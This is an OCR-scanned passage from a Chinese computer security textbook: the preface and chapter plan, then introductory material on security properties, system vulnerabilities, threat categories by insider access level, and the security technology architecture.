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随 着 计算 机 的 普及 以 及 互联 网 的 建设 向 纵深 发 展 (比如 物 联 网 的 迅速 发 展 ) ,计算 机 技 
术 和 网 络 技术 已 深入 到 社会 的 各 个 领域 ,人 类 对 计算 机 和 计算 机 网 络 的 依赖 越 来 越 大 ,计算 
机 安全 问题 已 经 成 为 全 社会 关注 和 讨论 的 焦点 。 如 何 保护 企业 或 个 人 的 计算 机 系统 免 遭 非 
法 入 侵 ,如 何 防止 计算 机 病毒 ,木马 等 对 内 部 网 络 的 侵害 ,都 是 信息 时 代 企 业 或 个 人 面临 的 
实际 问题 。 因 此 ,社会 对 计算 机 安全 技术 的 需求 也 越 来 越 迫 切 。 为 了 满足 社会 的 需要 ,各 高 
等 院 校 计算 机 相关 专业 相继 开设 了 计算 机 安全 方面 的 课程 。 但 是 ,目前 多 数 计算 机 安全 技 
术 方 面 的 教材 偏重 于 理论 ,不 能 很 好 地 激发 学 生 学 习 这 门 课 的 兴趣 ,所 以 ,为 了 满足 计算 机 
安全 技术 教学 方面 的 需求 ,笔者 编写 了 本 书 。 

本 书 以 解决 具体 计算 机 安全 问题 为 目的 ,全 面 介绍 计算 机 安全 领域 的 实用 技术 ,帮助 读 
者 了 解 计算 机 安全 技术 体系 ,掌握 维护 计算 机 系统 安全 的 常用 技术 和 手段 ,解决 实际 计算 机 
系统 的 安全 问题 ,使 读者 从 全 方位 建立 起 对 计算 机 安全 保障 体系 的 认识 。 

本 书 共 8 章 。 

第 1 章 介 绍 计算 机 安全 的 基本 概念 .计算 机 安全 面临 的 威胁 以 及 计算 机 安全 技术 体系 
结构 。 通 过 本 章 的 学 习 , 使 读者 对 计算 机 安全 有 一 个 整体 的 认识 。 

第 2 章 通 过 对 环境 安全 ,设备 安全 、 电 源 系 统 安全 以 及 通信 线路 安全 的 详细 介绍 ,帮助 
读者 了 解 物理 安全 的 相关 知识 ,并 且 能 够 运用 本 章 介绍 的 知识 和 技术 来 保障 计算 机 系统 的 
物理 安全 。 

第 3 章 介绍 常用 加 密 方法 、 密 码 学 的 基本 概念 .破解 用 户 密码 的 方法 .文件 加 密 的 方法 、 
数字 签名 技术 以 及 PKI, 并 且 通 过 对 一 系列 实例 的 介绍 ,加深 读者 对 基础 安全 方面 的 基础 知 
识 和 技术 的 理解 ,使 读者 能 够 运用 一 些 工具 软件 来 保护 自己 在 工作 或 生活 中 的 机 密 或 隐私 
数据 。 

第 4 章 主要 介绍 Windows 系统 中 账号 安全 管理 ,网 络 安全 管理 \IE 浏览 器 的 安全 设置 、 
组 策略 的 使 用 、Windows 权限 的 概念 及 其 设置 、Windows 安全 审计 ,然后 简单 介绍 UNIX/ 
Linux 系统 安全 的 配置 ,通过 本 章 的 学 习 , 使 读者 了 解 Windows 系统 安全 的 多 个 方面 ,从 而 
是 高 读者 安全 使 用 Windows 系统 的 水 平 。 

第 5 章 介 绍 端口 与 漏洞 扫描 以 及 网 络 监 听 技 术 、 缓 冲 区 溢出 攻击 及 其 防范 、ARP 欺骗 、 
DoS 与 DDoS 攻击 检测 与 防御 、 防 火 墙 技术 、 入 侵 检测 与 入 侵 防 御 技 术 、 恶 意 软件 、 蜜 钠 技 
术 、VPN 技术 .HTTPTunnel 技术 以 及 无 线 网 络 安全 等 内 容 ,并 且 通 过 对 一 系列 实例 的 介绍 ， 
加 深 读者 对 网 络 安全 和 攻防 方面 的 基础 知识 和 技术 的 理解 ,帮助 读者 提高 解决 实际 网 络 安 
全 问题 的 能 力 。 

第 6 章 介绍 SQL 注入 式 攻 击 的 原理 .对 SQL 注入 式 攻击 的 防范 .常见 的 数据 库 安全 问 
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题 及 安全 威胁 数据 库 安 全 管理 原则 等 内 容 。 同 时 通过 对 一 系列 实例 的 介绍 ,加 深 读者 对 数 
据 库 安全 管理 方面 的 基础 知识 和 技术 的 理解 ,帮助 读者 提高 维护 数据 库 安全 的 能 力 ,并 且 在 
进行 Web 开发 时 要 注意 防范 SQL 注入 式 攻击 。 

第 7 章 介 绍 Web 应 用 安全 、XSS 跨 站 攻击 技术 .电子 邮件 加 密 技术 、 网 络 防 钓 鱼 技术 、 
QQ 的 安全 使 用 .网 上 银行 账户 安全 常识 以 及 WinHex 的 使 用 。 通 过 本 章 的 学 习 , 使 读者 对 
网 络 应 用 中 存在 的 一 些 威胁 有 一 个 清楚 的 认识 ,进而 提高 读者 安全 使 用 网 络 的 水 平和 技能 。 

第 8 章 介绍 容 灾 技 术 的 基本 概念 .RAID 级 别 及 其 特点 ,数据 备份 技术 的 基本 概念 以 及 
Ghost 的 使 用 。 通 过 本 章 的 学 习 , 使 读者 理解 容 灾 与 数据 备份 技术 在 计算 机 安全 领域 有 着 
举足轻重 的 地 位 ,在 以 后 的 生活 或 工作 中 ,强化 安全 意识 ,采取 有 效 的 容 灾 与 数据 备份 技术 
尽 可 能 地 保障 系统 和 数据 的 安全 。 

本 书 由 张 同 光 担任 主编 , 张 有 为 , 张 家 平 . 常 青 担任 副 主编 ,参加 编写 的 还 有 了 叶 涛 、 赵 晓 
莉 和 陈 栋 。 其 中 张 有 为 编写 第 8 章 , 张 家 平 编写 第 6 章 和 7.7 节 , 常 青 编写 5.1 节 和 5.2 
节 , 叶 涛 编写 3.4 节 和 3.5 节 , 赵 晓 莉 编写 2.1~2.4 节 , 陈 栋 编写 第 1 章 , 张 同 光 编 写 2.5 
节 和 第 2 章 小 结 与 习题 ,3.1~3.3 节 、3.6~3.7 节 和 第 3 章 小 结 与 习题 ,第 4 章 ,5.3~5.14 
节 和 第 5 章 小 结 与 习题 ,7.1~7.6 节 、7.8 节 和 第 7 章 小 结 与 习题 。 全 书 最 后 由 张 同 光 
(jsjoscpu@ 163. com) 统 稿 和 定稿 。 
由 于 编者 水 平 有 限 , 书 中 难免 存在 疏漏 之 处 , 敬 请 广大 读者 批评 指正 。 


张 同 光 
2010 年 6 月 
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第 1 章 ”计算 机 安全 概述 


本 章 学 习 目 标 : 

。 认识 到 计算 机 安全 的 重要 性 

。 了 解 计算 机 系统 面临 的 威胁 

。 了 解 计算 机 安全 基本 概念 

。 了 解 计算 机 安全 技术 体系 结构 

。 了 解 安 全 系统 设计 原则 以 及 人 、 制 度 和 技术 之 间 的 关系 


美国 总 统 奥巴马 于 2009 年 5 月 29 日 公布 网 络 安全 评估 报告 时 指出 ,来 自 网 络 空间 的 
威胁 已 经 成 为 美国 面临 的 最 严重 的 经 济 和 军事 威胁 。 为 应 对 来 自 网 络 空 间 的 威胁 ,为 了 打 
击 黑客 和 敌对 国家 的 网 络 攻击 ,酝酿 筹备 近 一 年 的 美军 “网 络 司令 部 ”于 2010 年 5 月 21 日 
正式 启动 ,将 于 2010 年 10 月 全 面 运作 。 网 络 司令 部 隶属 美国 战略 司令 部 ,位 于 马里 兰州 的 
米 德 堡 军事 基地 ,编制 近 千 人 ,主要 职责 是 进行 网 络 防御 和 网 络 渗透 作战 。 一 直 以 来 美军 各 
部 门 都 在 网 络 领域 孤军 作战 ,网 络 司令 部 将 统一 管理 .强化 对 策 , 并 将 积极 寻求 国际 合作 。 
美国 国防 部 长 盖 茨 称 :“ 网 络 司令 部 的 成 立 旨 在 改变 网 络 的 脆弱 性 ,从 而 更 好 地 应 对 越 来 越 
多 的 网 络 威胁 。” 

网 络 攻击 有 可 能 使 现代 社会 的 机 能 陷入 瘫痪 。 而 且 , 在 现代 战争 中 信息 技术 已 变 得 不 
可 或 缺 。 因 此 ,美国 把 网 络 防御 定位 为 国家 安全 保障 上 的 重大 课题 。 

美国 是 世界 上 第 一 个 提出 网 络 战 概念 的 国家 ,也 第 一 个 将 其 应 用 于 实战 ,但 美军 尚未 形 
成 统一 的 网 络 战 指挥 体系 。 与 论 认为 ,组 建 网 络 司令 部 ,意味 着 美国 准备 加 强 争 夺 网 络 空间 
霸权 的 行动 。 网 络 战 正在 以 一 种 全 新 的 战争 样式 走 上 战争 舞台 。 

组 建 网 络 司令 部 表明 ,美军 研制 多 年 的 网 络 战 手段 已 基本 成 熟 ,并 做 好 了 打 网 络 战 的 准 
备 。 目 前 美军 已 经 拥有 大 批 网 络 战 武器 .在 软件 方面 ,已 研制 出 2000 多 件 “ 逻 辑 炸 弹 ” 等 计 
算 机 病毒 ;在 硬件 方面 , 则 研发 了 电磁 脉冲 弹 、 次 声波 武器 、 高 功率 微波 武器 ,可 对 敌 方 网 络 
进行 物理 攻击 。 尤 其 值得 注意 的 是 ,美国 利用 其 握 有 核心 信息 技术 的 优势 ,在 芯片 .操作 系 
统 等 硬 软 件 上 预 留 “后 门 ”, 植 入 木马 病毒 ,一 旦 需要 即 可 进入 对 方 网 络 系统 或 激活 沉睡 的 
病毒 。 

除 美国 外 ,英国 .日 本 、 俄 罗斯 法国、 德国 .印度 .朝鲜 等 国家 都 已 建立 成 体系 的 网 络 战 
部 队 。 

近年 来 ,各 种 网 络 战 手 段 已 经 在 局 部 战争 中 得 到 多 次 运用 。 
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早 在 1991 年 的 海湾 战争 中 ,美军 就 对 伊拉克 使 用 了 一 些 网 络 战 手 段 。 开 战 前 ,美国 中 
央 情 报 局 派 特工 秘密 打 和 人 伊拉克 内 部 ,将 伊 军 购买 自 法 国 的 防空 系统 使 用 的 打印 机 芯片 , 换 
上 了 染 有 病毒 的 芯片 ,在 空袭 前 用 遥控 手段 激活 病毒 ,致使 伊 军 防空 指挥 中 心 主 计算 机 系统 
程序 错乱 ,防空 计算 机 控制 系统 失灵 。 

在 1999 年 的 科索沃 战争 中 ,前 南斯拉夫 联盟 共和 国 组 织 黑客 ,使 用 多 种 计算 机 病毒 ,使 
北大 西洋 公约 组 织 (北约 ) 的 一 些 计算 机 网 络 一 度 瘫 痪 。 北 约 方面 也 不 甘 了 示弱 进行 网 络 反 
击 , 在 南 军 计算 机 网 络 系统 中 植 和 人 大量 病 毒 和 欺骗 性 信息 ,导致 南 防空 体系 失效 失 能 。 

2003 年 的 伊拉克 战争 中 ,美军 网 络 战 手段 升级 ,在 战 前 就 往 数 千 名 伊拉克 军政 要 员 的 
邮箱 中 发 送 “ 劝 降 信 ”, 开 战 后 4 小 时 不 到 就 封杀 了 持 中 立 立 场 的 半岛 电视 台 ,对 伊 军 心 士气 
造成 极 大 打击 。 

2003 年 夏天 ,冲击 波 蠕虫 在 全 世界 范围 传播 ,对 于 运行 着 Microsoft Windows 系统 的 
不 计 其 数 的 主机 来 说 简直 就 是 场 疆 梦 , 同 时 给 广大 网 民 留 下 了 悲伤 的 回忆 。 

从 2008 年 年 底 开 始 ,Conficker 蠕虫 病毒 开始 利用 Windows 操作 系统 的 漏洞 感染 计算 
机 系统 ,并 开始 广泛 传播 。 截至 2009 年 6 月 ,已 有 数 百 万 台 计算 机 系统 受到 Conficker 病毒 
的 控制 。 

随 着 计算 机 及 网 络 技 术 应 用 的 不 断 发 展 ,伴随 而 来 的 计算 机 系统 安全 问题 越 来 越 引起 
人 们 的 关注 。 计 算 机 系统 一 旦 遭受 破坏 ,将 给 使 用 单位 造成 重大 经 济 损失 ,并 严重 影响 正常 
工作 的 顺利 开展 。 

计算 机 安全 是 一 个 涉及 多 知识 领域 的 综合 学 科 , 只 有 全 面 掌握 相关 的 基础 理论 和 技术 
原理 ,才能 准确 把 握 和 应 用 各 种 安全 技术 与 产品 。 

2008 年 3 月 6 日 ,全 球 计算 机 行业 协会 (CompTIA) 公 布 了 《全 球 IT 技术 状况 ) 报 告 , 评 
出 了 “全 球 最 急需 的 10 项 IT 技 术 ”,“ 安 全 /防火 墙 /数据 隐私 类 技术 ”排名 第 一 。 


1.1 计算 机 安全 基本 概念 


在 计算 机 系统 中 ,所 有 的 文件 ,包括 各 类 程序 文件 .数据 文件 .资料 文件 .数据库 文件 , 甚 
至 硬件 系统 的 品牌 .结构 .指令 系统 等 都 属于 信息 。 

信息 已 渗透 到 社会 的 方方面面 ,信息 的 特殊 性 在 于 : 无 限 的 可 重复 性 和 易 修改 性 。 

信息 安全 是 指 秘密 信息 在 产生 传输、 使 用 和 存储 过 程 中 不 被 泄露 或 破坏 。 信 息 安 全 涉 
及 信息 的 保密 性 、 完 整 性 .可 用 性 和 不 可 否认 性 。 综 合 来 说 ,就 是 要 保障 信息 的 有 效 性 ,使 信 
息 避 免 遭 受 一 系列 威胁 ,保证 业务 的 持续 性 ,最 大 限度 减少 损失 。 


1. 计算 机 安全 的 4 个 方面 
(1) 保密 性 


这 是 指 对 抗 对 手 的 被 动 攻击 ,确保 信息 不 泄露 给 非 授 权 的 个 人 和 实体 。 采 取 的 措施 包 
括 : 信息 的 加 密 解 密 : 划 分 信息 的 密级 ,为 用 户 分 配 不 同 权限 , 对 不 同 权限 用 户 访问 的 对 象 
进行 访问 控制 ;防止 硬件 辐射 泄露 ,网络 截获 和 窃听 等 。 


(2) 完整 性 


这 是 指 对 抗 对 手 的 主动 攻击 ,防止 信息 被 未 经 授权 的 算 改 , 即 保证 信息 在 存储 或 传输 的 
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过 程 中 不 被 修改 、 破 坏 及 丢失 。 完 整 性 可 通过 对 信息 完整 性 进行 检验 、 对 信息 交换 真实 性 和 
有 效 性 进行 鉴别 以 及 对 系统 功能 正确 性 进行 确认 来 实现 。 该 过 程 可 通过 密码 技术 来 完成 。 

(3) 可 用 性 

这 是 保证 信息 及 信息 系统 确 为 接受 者 所 使 用 ,确保 合法 用 户 可 访问 并 按 要 求 的 特性 使 
用 信息 及 信息 系统 , 即 当 需要 时 能 存 取 所 需 信息 ,防止 由 于 计算 机 病毒 或 其 他 人 为 因素 而 造 
成 系统 拒绝 服务 。 维 护 或 恢复 信息 可 用 性 的 方法 有 很 多 ,如 对 计算 机 和 指定 数据 文件 的 存 
取 进 行 严 格 控制 .进行 系统 备份 和 可 信 恢 复 .探测 攻击 及 应 急 处 理 等 。 

(4) 不 可 否认 性 

这 是 保证 信息 的 发 送 者 无 法 否认 已 发 出 的 信息 ,信息 的 接收 者 无 法 否认 已 经 接收 的 信 
息 。 例 如 ,保证 曾经 发 出 过 数据 或 信号 的 发 送 方 事后 不 能 否认 。 可 通过 数字 签名 技术 来 确 
保 信 息 提供 者 无 法 否认 自己 的 行为 。 


2. 计算 机 安全 的 组 成 


一 般 来 说 ,计算 机 安全 主要 包括 系统 安全 和 数据 安全 两 个 方面 。 

(1) 系统 安全 

系统 安全 一 般 采 用 防火 墙 . 防 病毒 及 其 他 安全 防范 技术 等 措施 ,是 属于 被 动 型 的 安全 
措施 。 

(2) 数据 安全 

数据 安全 主要 采用 现代 密码 技术 对 数据 进行 主动 的 安全 保护 ,如 数据 保密 、 数 据 完整 
性 ,数据 不 可 否认 与 抵赖 、 双 向 身份 认证 等 技术 。 


3. 计算 机 系统 的 可 用 性 


可 用 性 (Availability) 是 指 系 统 在 规定 条 件 下 ,完成 规定 功能 的 能 力 。 可 用 性 的 定量 还 
可 以 表现 为 以 下 3 个 方面 。 

(1) 可 靠 性 

如 果 系 统 从 来 没有 故障 ,那么 可 用 性 就 是 100%% ,但 这 是 不 可 能 的 ,所 以 引进 一 个 辅助 
参数 可 靠 性 (Reliability) , 即 在 一 定 的 条 件 下 ,在 指定 的 时 期 内 系统 无 故障 地 执行 指令 任务 
的 可 能 性 。 系 统 可 靠 性 在 数值 的 度量 中 采取 可 靠 度 衡量 。 

可 靠 度 的 定义 是 : 在 to 时 刻 系统 正常 的 条 件 下 ,在 给 定 的 时 间 间 隔 内 ,系统 仍然 能 正确 
执行 其 功能 的 概率 称 为 可 靠 度 。 可 靠 性 测度 有 3 Bb. 抗 毁 性 .生存 性 和 有 效 性 。 可 靠 性 主 
要 表现 在 硬件 可 靠 性 .软件 可 靠 性 .人 员 可 靠 性 和 环境 可 靠 性 等 方面 。 

提高 计算 机 的 可 靠 性 一 般 采 取 两 项 措施 : 避 错 和 容错 。 

CD 避 错 。 提 高 软 硬 件 的 质量 ,抵御 故障 的 发 生 。 要 求 组 成 系统 的 各 个 部 件 、 器 件 、 软 件 
具有 高 可 靠 性 ,不 允许 出 错 , 或 者 出 错 率 降 至 最 低 。 通 过 元 器 件 的 精 选 .严格 的 工艺 .精心 的 
设计 来 提高 可 靠 性 。 在 现 有 条 件 下 避 错 设计 是 提高 系统 可 靠 性 的 有 效 办 法 。 

@ 容错 。 对 于 一 个 系统 来 说 ,无 论 采 用 多 少 避 错 设计 方法 ,对 可 靠 性 的 提高 都 是 有 限 
的 ,总 是 不 能 保证 永远 不 出 错 。 因 此 发 展 容 错 技 术 ,使 得 在 发 生 故 障 时 系统 仍 能 继续 运行 ， 
并 提供 服务 与 资源 。 容 错 设计 是 在 承认 故障 存在 的 情况 下 进行 设计 的 ,是 指 在 计算 机 内 部 
出 现 故障 的 情况 下 ,计算 机 仍 能 正确 地 运行 程序 并 给 出 正确 结果 的 设计 。 
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(2) 可 维修 性 

可 维修 性 指 系统 发 生 故 障 时 容易 进行 修复 ,以 及 平时 易于 维护 的 程度 。 
(3) 维修 保障 

维修 保障 即 后 勤 支 援 能 力 。 


1.2 计算 机 安全 研究 的 重要 性 


计算 机 资源 易 受 到 自然 因素 和 人 为 因素 的 不 利 影响 ,原因 有 以 下 几 个 : 计算 机 是 电 
子 技术 产品 ,其 所 处 理 的 信息 也 是 各 种 电子 信号 ; 四 系统 运行 是 靠 程序 控制 的 ,一 个 大 型 计 
算 机 信息 系统 具有 数 百 万 个 受 各 种 程序 控制 的 逻辑 联结 ; @ 自 身 抗 外 界 影响 的 能 力 还 比较 
弱 , 安 全 存 取 控制 功能 还 不 够 完善 ; @ 其 运行 环境 要 求 比较 高 ; @ 现 代 化 管理 不 够 完善 。 


1. 计算 机 系统 的 脆弱 性 


计算 机 系统 的 脆弱 因素 包括 以 下 几 个 方面 。 

(1) 数据 输入 部 分 : 数据 通过 输入 设备 输入 系统 进行 处 理 , 数 据 易 被 自 改 或 输入 假 
数据 。 

(2) 数据 输出 部 分 : 经 处 理 后 的 数据 要 在 这 里 译 成 人 能 阅读 的 文件 ,并 通过 各 种 输出 
设备 输出 ,信息 有 可 能 被 泄露 或 被 截取 。 

(3) 数据 库 部 分 : 数据 库存 有 大 量 的 各 种 数据 ,有 的 数据 资料 价值 连城 ,如 果 遭 到 破 
坏 ,损失 是 难以 估计 的 。 

(4) 程序 部 分 : 用 语言 写成 机 器 能 处 理 的 程序 ,这 种 程序 可 能 会 被 筑 改 或 盗窃 。 

(5) 操作 系统 : 操作 系统 是 操纵 系统 运行 ,保证 数据 安全 ,协调 处 理 业务 和 联机 运行 的 
关键 部 分 ,如 被 破坏 就 等 于 破坏 了 系统 功能 。 

(6) 硬件 部 分 : 除 软件 以 外 的 所 有 硬 设备 ,这 些 电子 设备 最 容易 被 破坏 或 盗窃 。 

(7) 通信 部 分 : 信息 或 数据 要 通过 它 在 计算 机 之 间 主机 与 终端 之 间 及 网 络 之 间 传 送 ， 
通信 线路 一 般 是 电话 线 专线、 微波 光缆, 前 3 种 线路 上 的 信息 易 被 截取 。 

(8) 电磁 波 辐射 : 计算 机 设备 本 身 就 有 电磁 辐射 问题 ,也 怕 外 界 电磁 波 的 辐射 和 干扰 ， 
特别 是 自身 辐射 带 有 信息 ,容易 被 别人 接收 ,造成 信息 泄露 。 

(9) 辅助 保障 系统 : 水 、 电 、 空 调 中 断 或 不 正常 ,会 影响 系统 运行 。 

(10) 存 取 控 制 部 分 : 安全 存 取 控制 功能 还 比较 弱 。 

OD 自然 因素 : 水 . 电 \ 火 静电、 灰尘 有害 气体 地震、 雷电 、 强 磁场 和 电磁 脉冲 等 危 
害 。 这 些 危害 有 的 会 损害 系统 设备 ,有 的 则 会 破坏 数据 ,甚至 毁 掉 整个 系统 和 数据 。 

(12) 人 为 因素 : 安全 管理 水 平 低 . 人 员 技 术 素质 差 、 操 作 失 误 或 错误 .违法 犯罪 行 

以 上 计算 机 的 不 安全 因素 说 明 ,计算 机 自身 的 脆弱 性 十 分 严重 。 现 在 计算 机 已 经 应 用 
到 民航 、 铁 路 .电力 、 银 行 和 其 他 经 济 管理 ,政府 办 公 、 军 事 指挥 控制 等 国家 重大 要 害 部 门 或 
涉及 全 国 性 的 大 型 信息 系统 之 中 ,如 果 某 个 关键 部 分 出 了 问题 ,不 但 系统 内 可 能 产生 灾难 性 
的 多 米 诺 反应 ,而 且 会 造成 严重 的 政治 、 经 济 损失 ,甚至 危及 人 民生 命 财产 的 安全 。 如 果 系 
统 中 的 重要 数据 遭 破 坏 或 某 些 敏 感 信息 被 泄露 ,其 后 果 也 是 不 堪 设 想 的 。 


H 
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2. 计算 机 系统 面临 的 威胁 


由 于 信息 系统 的 复杂 性 、 开 放 性 以 及 系统 软 硬 件 和 网 络 协议 的 缺陷 ,导致 了 信息 系统 的 
安全 威胁 是 多 方面 的 : 网 络 协议 的 弱点 、 网 络 操作 系统 的 漏洞 .应 用 系统 设计 的 漏洞 、 网 络 
系统 设计 的 缺陷 .恶意 攻击 病毒 .黑客 的 攻击 合法 用 户 的 攻击 ,物理 安全 ,管理 安全 等 。 

另外 , 非 技术 的 社会 工程 攻击 也 是 信息 安全 面临 的 威胁 ,通常 把 基于 非 计算 机 的 欺骗 技 
术 称 为 社会 工程 。 社 会 工程 中 ,攻击 者 设法 伪装 自己 的 身份 让 人 相信 他 就 是 某 个 人 ,从 而 去 
获得 密码 和 其 他 敏感 的 信息 。 目 前 社会 工程 攻击 主要 包括 两 种 方式 : 打 电 话 请 求 密码 和 伪 
造 E-mail, 

计算 机 安全 的 实质 是 计算 机 资源 存在 着 的 各 种 各 样 的 威胁 。 从 造成 这 些 威胁 的 人 员 对 
计算 机 的 接近 程度 的 不 同 ,可 以 将 其 分 为 以 下 4 类。 

(1) 外 部 人 员 : 不 能 进入 计算 机 中 心 或 机 房 的 人 员 。 由 于 外 部 人 员 不 能 进入 计算 机 中 
心 , 因 此 他 们 只 能 在 外 面 进行 攻击 ,主要 攻击 目标 是 网 络 中 的 通信 线路 等 外 部 设施 ,可 能 产 
生 的 威胁 有 以 下 几 种 。 

(D 搭 线 窃听 : 在 计算 机 的 通信 线路 上 搭 上 一 个 侦 听 设备 ,从 而 获得 线路 上 传输 的 机 密 
信息 。 

@ 电磁 辐射 : 通过 接受 计算 机 系统 辐射 出 的 信号 而 获得 机 密 信息 。 

© 口令 猜测 : 通过 猜测 口令 而 进入 到 网 络 系统 中 。 

@ 密 文 分 析 : 通过 分 析 线 路 上 传输 的 加 密 信 息 而 得 到 明文 。 

© 流量 分 析 : 通过 观察 通信 线路 上 的 信息 流量 ,得 到 信息 的 源 点 和 终点 ,发送 频率 、 报 
文 长 度 等 ,从 而 推断 出 信息 的 某 些 重要 特性 。 

© RF: BE RXOUCI TTE OHIA R ,从 而 达到 自己 的 非法 目的 。 

防止 这 些 攻击 的 唯一 有 效 办 法 是 : 将 通信 线路 上 的 信息 加 密 , 并 且 在 网 络 中 实行 可 靠 
的 协议 ,防止 信息 在 加 密 之 前 从 机 房 中 泄露 出 去 。 

(2) 物理 存 取 人 员 : 这 类 人 员 能 进入 计算 机 中 心 但 没有 多 少 上 机 的 权利 。 

他 们 的 主要 攻击 目标 是 计算 机 中 心 内 部 ,可 以 产生 如 下 一 些 威胁 。 

CD 窃听 : 将 窃听 器 安装 在 中 心里 , 录 下 中 心 人 员 之 间 的 谈话 。 

© SUL. 站 在 终端 用 户 的 身后 ,观察 其 操作 过 程 。 

C) 插入 : 当 用 户 离开 终端 后 ,攻击 者 利用 仍 开 着 的 终端 做 他 自己 的 事情 。 

由 Zm: 在 计算 机 中 心 的 某 些 地 方 , 得 到 粗心 大 意 的 人 写 下 的 口令 ,从 而 骨 称 该 人 ,使 
用 机 器 。 

推导 : 从 统计 数据 库 中 获得 的 统计 信息 出 发 ,推导 出 某 些 不 应 该 知道 的 信息 。 

© 浏览 : 通过 观察 中 心 内 部 的 情况 或 机 器 中 的 某 些 公用 文件 而 获得 有 用 的 信息 。 

© 废物 : 从 当 作废 物 的 打印 纸 中 寻找 有 用 的 信息 。 

设备 安装 : 攻击 者 将 EPROM 或 类 似 的 电路 芯片 替换 并 重新 插入 机 器 中 ,使 机 器 按 
照 攻击 者 的 目的 运行 。 

对 于 这 些 攻击 ,有 效 的 防范 办 法 是 : 加 强 机 房 的 出 人 管理 ,包括 人 员 的 进出 管理 .记录 
机 密 信息 的 媒介 出 入 机 房 的 管理 。 

(3) 系统 存 取 人 员 : 这 类 人 员 通 常 是 计算 机 中 心 的 普通 用 户 , 他 们 在 系统 里 拥有 的 权 
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利 不 是 太 多 。 

他 们 能 够 实际 操作 机 器 ,具有 较 大 的 危险 性 ,构成 的 威胁 有 以 下 几 种 。 

CD 强制 崩溃 : 在 程序 中 制造 某 些 故意 的 错误 ,强制 使 机 器 停止 运转 。 

O RA: 有 些 操作 系统 为 了 日 后 的 维护 而 留 下 了 人 入口 ,攻击 者 可 利用 这 些 入 口 作为 进 
入 操作 系统 的 天 窗 。 

O 聚合 : 将 能 合法 得 到 的 几 项 信息 综合 起 来 ,从 而 知道 一 些 不 应 该 知道 的 保密 信息 。 

@ 复制 : 将 有 关 程 序 和 数据 复制 下 来 带 出 计算 机 中 心 。 

C) 骚扰 : 攻击 者 在 终端 上 做 出 某 些 令 操 作 员 生气 的 事情 ,使 其 容易 发 生 错误 ,从 而 达 
到 自己 的 目的 。 

他 们 具有 的 特权 比较 少 ,很 想 扩 大 自己 的 特权 ,系统 管理 员 要 严密 监视 他 们 的 工作 , 特 
别 注意 一 些 奇异 现象 的 发 生 , 如 机 器 发 生 的 崩溃 次 数 太 多 等 ,要 立即 采取 有 效 措施 。 

(4) 编程 特权 人 员 : 这 类 人 员 能 在 计算 机 上 编制 自己 的 程序 ,通常 是 指 那些 系统 编程 
人 员 和 系统 维护 人 员 。 

他 们 通常 是 能 够 深入 到 系统 里 面 去 的 人 ,构成 的 威胁 极 大 ,有 以 下 几 种 。 

(D 特洛伊 木马 : 修改 某 些 程序 ,使 得 这 些 程序 仍 能 正常 工作 ,看 上 去 是 好 的 ,实际 上 其 
中 隐藏 着 一 些 破坏 性 的 指令 。 

© 逻辑 炸弹 : 一 种 只 有 当 特 定 事件 出 现 才 进行 破坏 的 程序 。 

O 病毒 : 实际 上 是 一 种 逻辑 炸弹 ,不 同 之 处 在 于 它 不 断 地 繁殖 其 自身 。 

@ 滥用 实用 程序 : 有 些 机 器 上 的 实用 程序 可 以 被 修改 以 满足 不 同 的 需要 ,攻击 者 可 利 
用 实用 程序 达到 自己 的 目的 。 

C) 意大利 香肠 术 : 这 是 对 财务 系统 进行 的 攻击 。 它 从 每 个 客户 的 账目 中 偷 出 一 点 点 
钱 ,客户 往往 不 注意 这 种 微弱 损失 ,而 攻击 者 将 众多 客户 的 钱 加 在 一 起 ,其 数目 很 大 。 

对 于 上 面 这 些 攻 击 很 难 防止 。 有 效 的 办 法 就 是 加 强 管理 ,选择 可 靠 的 系统 工作 人 员 , 记 
录 这 些 人 的 行为 ,以 便 及 时 准确 地 发 现 蓄意 破坏 者 。 

总 之 ,由 于 计算 机 系统 的 脆弱 性 以 及 面临 的 各 种 威胁 ,因此 ,计算 机 系统 安全 研究 的 重 
要 性 不 言 而 喻 。 


1.3 计算 机 安全 技术 体系 结构 


计算 机 安全 技术 是 一 门 综合 的 学 科 , 它 涉及 人 信息论、 计算机 科学 和 密码 学 等 多 方面 知 
识 , 它 的 主要 任务 是 研究 计算 机 系统 和 通信 网 络 内 信息 的 保护 方法 以 实现 系统 内 信息 的 安 
全 保密 、 真 实 和 完整 。 一 个 完整 的 计算 机 安全 技术 体系 结构 由 物理 安全 技术 、 基 础 安全 技 
术 、 系 统 安全 技术 、 网 络 安全 技术 以 及 应 用 安全 技术 组 成 。 


1.3.1 实体 和 基础 设施 安全 技术 
物理 安全 在 整个 计算 机 网 络 信 息 系统 安全 体系 中 占有 重要 地 位 。 计 算 机 信息 系统 物理 


安全 的 内 涵 是 保护 计算 机 信息 系统 设备 设施 以 及 其 他 媒体 免 草 地震, 水灾 、 火 灾 等 环境 事 
故 以 及 人 为 操作 失误 或 错误 及 各 种 计算 机 犯罪 行为 导致 的 破坏 。 它 包含 的 主要 内 容 为 环境 
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安全 ,设备 安全 ,电源 系统 安全 和 通信 线路 安全 。 

(1) 环境 安全 

计算 机 网 络 通 信 系统 的 运行 环境 应 按照 国家 有 关 标 准 设计 实施 ,应 具备 消防 报警 .安全 
照明 .不 间断 供电 ., 温 湿度 控制 系统 和 防盗 报警 .以 保护 系统 免 受 水 、 火 有 害 气体 、 地 震 、 静 
电 等 的 危害 。 

(2) 设备 安全 

要 保证 硬件 设备 随时 处 于 良好 的 工作 状态 ,应 当 建 立 、 健 全 使 用 管理 规章 制度 ,建立 设 
备 运 行 日 志 。 同 时 要 注意 保护 存储 介质 的 安全 性 ,包括 存储 介质 自身 和 数据 的 安全 。 存 储 
介质 本 身 的 安全 主要 是 指 安全 保管 防盗. 防 毁 和 防 霉 ; 数 据 安 全 是 指 防止 数据 被 非法 复制 
和 非法 销毁 ,关于 存储 与 数据 安全 这 一 问题 将 在 第 2 章 具体 介绍 和 解决 。 

(3) 电源 系统 安全 

电源 是 所 有 电子 设备 正常 工作 的 能 量 源 , 在 信息 系统 中 占有 重要 地 位 。 电 源 安全 主要 
包括 电力 能 源 供应 、 输 电线 路 安全 ,保持 电源 的 稳定 性 等 。 

(4) 通信 线路 安全 

通信 设备 和 通信 线路 的 装置 安装 要 稳固 牢靠 ,具有 一 定 对 抗 自然 因素 和 人 为 因素 破坏 
的 能 力 。 它 包括 防止 电磁 信息 的 泄露 .线路 截获 以 及 抗 电磁 干扰 。 


1.3.2 密码 技术 


随 着 计算 机 网 络 不 断 渗透 到 各 个 领域 ,密码 学 的 应 用 也 随 之 扩大 。 数 字 签名 .身份 鉴别 
等 都 是 由 密码 学 派生 出 来 的 新 技术 和 应 用 。 

